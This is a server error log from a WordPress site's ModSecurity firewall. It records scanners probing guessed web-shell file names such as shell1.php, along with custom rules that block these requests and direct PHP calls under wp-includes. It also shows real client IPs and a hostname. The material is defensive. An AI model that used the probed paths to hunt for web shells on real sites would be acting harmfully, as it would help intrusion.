[Fri Jan 02 07:33:16.131603 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:14684] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aVcEPHKLI9INGPLzfnexYAAAAMg"]
[Fri Jan 02 07:33:16.677233 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:5086] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aVcEPHKLI9INGPLzfnexYwAAAMY"]
[Fri Jan 02 07:33:17.267074 2026] [:error] [pid 63208:tid 63216] [client 172.161.146.188:14704] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aVcEPXKLI9INGPLzfnexZgAAAMU"]
[Fri Jan 02 07:33:17.899841 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:14713] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aVcEPXKLI9INGPLzfnexawAAAMk"]
[Fri Jan 02 07:33:18.464722 2026] [:error] [pid 63208:tid 63230] [client 172.161.146.188:14655] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aVcEPnKLI9INGPLzfnexbwAAANM"]
[Fri Jan 02 07:33:19.060450 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:14677] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aVcEPzuUXUKd3KTnKl_AegAAAJI"]
[Fri Jan 02 07:33:19.666228 2026] [:error] [pid 63099:tid 63137] [client 172.161.146.188:4981] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcEP8mCZokRPYUhzvg6FAAAAEM"]
[Fri Jan 02 07:33:20.207932 2026] [:error] [pid 63099:tid 63143] [client 172.161.146.188:5075] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcEQMmCZokRPYUhzvg6GwAAAEk"]
[Fri Jan 02 07:33:20.733376 2026] [:error] [pid 63208:tid 63222] [client 172.161.146.188:14710] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcEQHKLI9INGPLzfnexeQAAAMs"]
[Fri Jan 02 07:33:21.241226 2026] [:error] [pid 63098:tid 63128] [client 172.161.146.188:4883] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcEQcez9k78gUs48kq0_gAAABU"]
[Fri Jan 02 07:33:21.846497 2026] [:error] [pid 63208:tid 63226] [client 172.161.146.188:4932] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVcEQXKLI9INGPLzfnexfgAAAM8"]
[Fri Jan 02 07:33:22.664366 2026] [:error] [pid 63100:tid 63176] [client 172.161.146.188:5049] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aVcEQjuUXUKd3KTnKl_AfgAAAI8"]
[Fri Jan 02 07:34:06.604120 2026] [:error] [pid 63099:tid 63139] [client 172.161.146.188:14634] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVcEbsmCZokRPYUhzvg6dwAAAEU"]
[Fri Jan 02 07:34:07.112036 2026] [:error] [pid 63098:tid 63123] [client 172.161.146.188:14611] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVcEb8ez9k78gUs48kq1kAAAABA"]
[Fri Jan 02 07:34:07.610529 2026] [:error] [pid 63099:tid 63147] [client 172.161.146.188:14676] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVcEb8mCZokRPYUhzvg6egAAAE0"]
[Fri Jan 02 07:34:08.133533 2026] [:error] [pid 63208:tid 63218] [client 172.161.146.188:5060] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVcEcHKLI9INGPLzfnex5wAAAMc"]
[Fri Jan 02 07:34:08.610312 2026] [:error] [pid 63099:tid 63155] [client 172.161.146.188:14593] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aVcEcMmCZokRPYUhzvg6ewAAAFU"]
[Fri Jan 02 07:34:09.096170 2026] [:error] [pid 63208:tid 63226] [client 172.161.146.188:14620] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aVcEcXKLI9INGPLzfnex6gAAAM8"]
[Fri Jan 02 07:34:09.587060 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:5066] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aVcEcXKLI9INGPLzfnex6wAAAMY"]
[Fri Jan 02 07:34:10.073215 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:14598] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aVcEcsez9k78gUs48kq1mgAAABc"]
[Fri Jan 02 07:34:10.555281 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:4968] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aVcEcjuUXUKd3KTnKl_AygAAAJE"]
[Fri Jan 02 07:34:11.079707 2026] [:error] [pid 63098:tid 63131] [client 172.161.146.188:14632] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aVcEc8ez9k78gUs48kq1nQAAABg"]
[Fri Jan 02 07:34:11.577854 2026] [:error] [pid 63098:tid 63126] [client 172.161.146.188:14696] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aVcEc8ez9k78gUs48kq1oAAAABM"]
[Fri Jan 02 07:34:12.054756 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:14692] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aVcEdDuUXUKd3KTnKl_AzAAAAIE"]
[Fri Jan 02 07:34:12.530177 2026] [:error] [pid 63100:tid 63183] [client 172.161.146.188:14619] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVcEdDuUXUKd3KTnKl_AzgAAAJY"]
[Fri Jan 02 07:34:13.016700 2026] [:error] [pid 63099:tid 63135] [client 172.161.146.188:5069] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVcEdcmCZokRPYUhzvg6fwAAAEE"]
[Fri Jan 02 07:34:13.493352 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:14698] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVcEdcez9k78gUs48kq1qgAAABc"]
[Fri Jan 02 07:34:13.967810 2026] [:error] [pid 63208:tid 63224] [client 172.161.146.188:14614] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aVcEdXKLI9INGPLzfnex7wAAAM0"]
[Fri Jan 02 08:37:03.910512 2026] [:error] [pid 63100:tid 63168] [client 221.229.106.25:54746] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVcTLzuUXUKd3KTnKl_Y4wAAAIc"]
[Fri Jan 02 12:30:47.724344 2026] [:error] [pid 63098:tid 63116] [client 1.41.60.200:51556] [client 1.41.60.200] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.64.173_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/frontend.min.css"] [unique_id "aVdJ9Mez9k78gUs48krxzwAAAAk"], referer: https://vetstars.com.au/
[Fri Jan 02 12:30:47.725835 2026] [:error] [pid 50046:tid 50072] [client 1.41.60.200:51558] [client 1.41.60.200] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.64.173_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css"] [unique_id "aVdJ9Szv7fgIiwkQYNBdzgAAAVg"], referer: https://vetstars.com.au/
[Fri Jan 02 20:28:11.114309 2026] [:error] [pid 29316:tid 29340] [client 4.189.161.129:57729] [client 4.189.161.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aVe529fT9ty-7jZmgf-mhgAAARY"]
[Fri Jan 02 20:28:40.583586 2026] [autoindex:error] [pid 50186:tid 50211] [client 4.189.161.129:57731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 02 20:28:45.835458 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:57750] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aVe5_cez9k78gUs48kpSaQAAAAE"]
[Fri Jan 02 20:28:46.250920 2026] [:error] [pid 29316:tid 29339] [client 4.189.161.129:60653] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aVe5_tfT9ty-7jZmgf-moAAAARU"]
[Fri Jan 02 20:28:46.598957 2026] [:error] [pid 29316:tid 29318] [client 4.189.161.129:60645] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aVe5_tfT9ty-7jZmgf-moQAAAQA"]
[Fri Jan 02 20:28:46.992404 2026] [:error] [pid 29316:tid 29322] [client 4.189.161.129:60646] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxz.php"] [unique_id "aVe5_tfT9ty-7jZmgf-mowAAAQQ"]
[Fri Jan 02 20:28:47.472463 2026] [:error] [pid 29316:tid 29320] [client 4.189.161.129:57735] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aVe5_9fT9ty-7jZmgf-mpQAAAQI"]
[Fri Jan 02 20:28:47.935052 2026] [:error] [pid 50186:tid 50196] [client 4.189.161.129:57788] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aVe5_1XqK_iX4f-S70JtLgAAAYg"]
[Fri Jan 02 20:28:48.292353 2026] [:error] [pid 63098:tid 63121] [client 4.189.161.129:57746] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aVe6AMez9k78gUs48kpSawAAAA4"]
[Fri Jan 02 20:28:48.855526 2026] [:error] [pid 63099:tid 63140] [client 4.189.161.129:60661] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aVe6AMmCZokRPYUhzvi3EAAAAEY"]
[Fri Jan 02 20:28:49.469266 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:57757] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aVe6Acez9k78gUs48kpSbQAAABU"]
[Fri Jan 02 20:28:49.847175 2026] [:error] [pid 63100:tid 63174] [client 4.189.161.129:57768] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aVe6ATuUXUKd3KTnKl9H-QAAAI0"]
[Fri Jan 02 20:28:50.328280 2026] [:error] [pid 50186:tid 50188] [client 4.189.161.129:46859] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aVe6AlXqK_iX4f-S70JtNgAAAYA"]
[Fri Jan 02 20:28:50.653636 2026] [:error] [pid 50186:tid 50210] [client 4.189.161.129:60650] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aVe6AlXqK_iX4f-S70JtOQAAAZY"]
[Fri Jan 02 20:28:51.009006 2026] [:error] [pid 50186:tid 50195] [client 4.189.161.129:60634] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVe6A1XqK_iX4f-S70JtOgAAAYc"]
[Fri Jan 02 20:28:51.420950 2026] [:error] [pid 43358:tid 43375] [client 4.189.161.129:57740] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVe6AwncbHK9auzvrA9QsAAAAc8"]
[Fri Jan 02 20:28:51.756982 2026] [:error] [pid 63098:tid 63109] [client 4.189.161.129:57790] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVe6A8ez9k78gUs48kpSdAAAAAI"]
[Fri Jan 02 20:28:52.097049 2026] [:error] [pid 50046:tid 50070] [client 4.189.161.129:57776] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVe6BCzv7fgIiwkQYNCoQQAAAVY"]
[Fri Jan 02 20:28:52.712225 2026] [:error] [pid 63098:tid 63110] [client 4.189.161.129:60671] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aVe6BMez9k78gUs48kpSdQAAAAM"]
[Fri Jan 02 20:28:53.275653 2026] [:error] [pid 50186:tid 50193] [client 4.189.161.129:46856] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aVe6BVXqK_iX4f-S70JtPgAAAYU"]
[Fri Jan 02 20:28:53.904356 2026] [:error] [pid 50046:tid 50053] [client 4.189.161.129:57759] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aVe6BSzv7fgIiwkQYNCoRwAAAUU"]
[Fri Jan 02 20:28:54.839831 2026] [:error] [pid 63208:tid 63221] [client 4.189.161.129:57744] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aVe6BnKLI9INGPLzfndBhwAAAMo"]
[Fri Jan 02 20:28:55.449283 2026] [:error] [pid 43358:tid 43364] [client 4.189.161.129:57771] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aVe6BwncbHK9auzvrA9QsQAAAcQ"]
[Fri Jan 02 20:28:56.039279 2026] [:error] [pid 29316:tid 29323] [client 4.189.161.129:57731] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aVe6CNfT9ty-7jZmgf-msAAAAQU"]
[Fri Jan 02 20:28:56.691614 2026] [:error] [pid 50186:tid 50209] [client 4.189.161.129:60622] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aVe6CFXqK_iX4f-S70JtSAAAAZU"]
